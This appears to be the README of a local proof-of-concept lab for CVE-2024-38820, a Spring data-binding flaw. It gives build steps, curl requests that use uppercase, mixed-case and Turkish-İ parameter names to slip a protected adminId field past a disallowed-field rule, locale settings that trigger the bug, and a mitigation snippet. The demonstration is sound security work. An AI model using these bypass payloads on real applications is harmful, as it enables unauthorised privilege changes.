src/
├── main/java/com/example/demo/
│   ├── DemoApplication.java          # Spring Boot main class
│   ├── controller/UserController.java # Vulnerable controller with @InitBinder
│   └── model/UserInfo.java           # Model with protected adminId field
└── resources/application.properties   # Locale configuration

test-cve-2024-38820.sh                # Automated test script
pom.xml                               # Maven dependencies (Spring 5.3.39 - vulnerable)

# Build the project
mvn clean compile

# Run the application
mvn spring-boot:run

http://localhost:8081/test

# Normal case (should be blocked)
curl "http://localhost:8081/user?username=test&adminId=999"

# Uppercase (may bypass)
curl "http://localhost:8081/user?username=test&ADMINID=999"

# Mixed case (may bypass)  
curl "http://localhost:8081/user?username=test&AdminId=999"

# Turkish İ character (may bypass)
curl "http://localhost:8081/user?username=test&ADMİNID=999"

./test-cve-2024-38820.sh

# Turkish locale (vulnerable)
spring.web.locale=tr_TR
server.servlet.locale=tr_TR

# English locale (protected)
# spring.web.locale=en_US
# server.servlet.locale=en_US

mvn spring-boot:run -Duser.language=tr -Duser.country=TR

=== CVE-2024-38820 PoC - Locale Information ===
JVM Default Locale: tr_TR
Test field 'ADMINID' toLowerCase(): 'adminıd'
Test field 'ADMINID' toLowerCase(Locale.ENGLISH): 'adminid'
DataBinder configured with disallowed field: 'adminId'

@InitBinder
public void initBinder(WebDataBinder dataBinder) {
    // Use English locale explicitly
    dataBinder.setDisallowedFields("adminId");
    // Additional protection: check field names with specific locale
}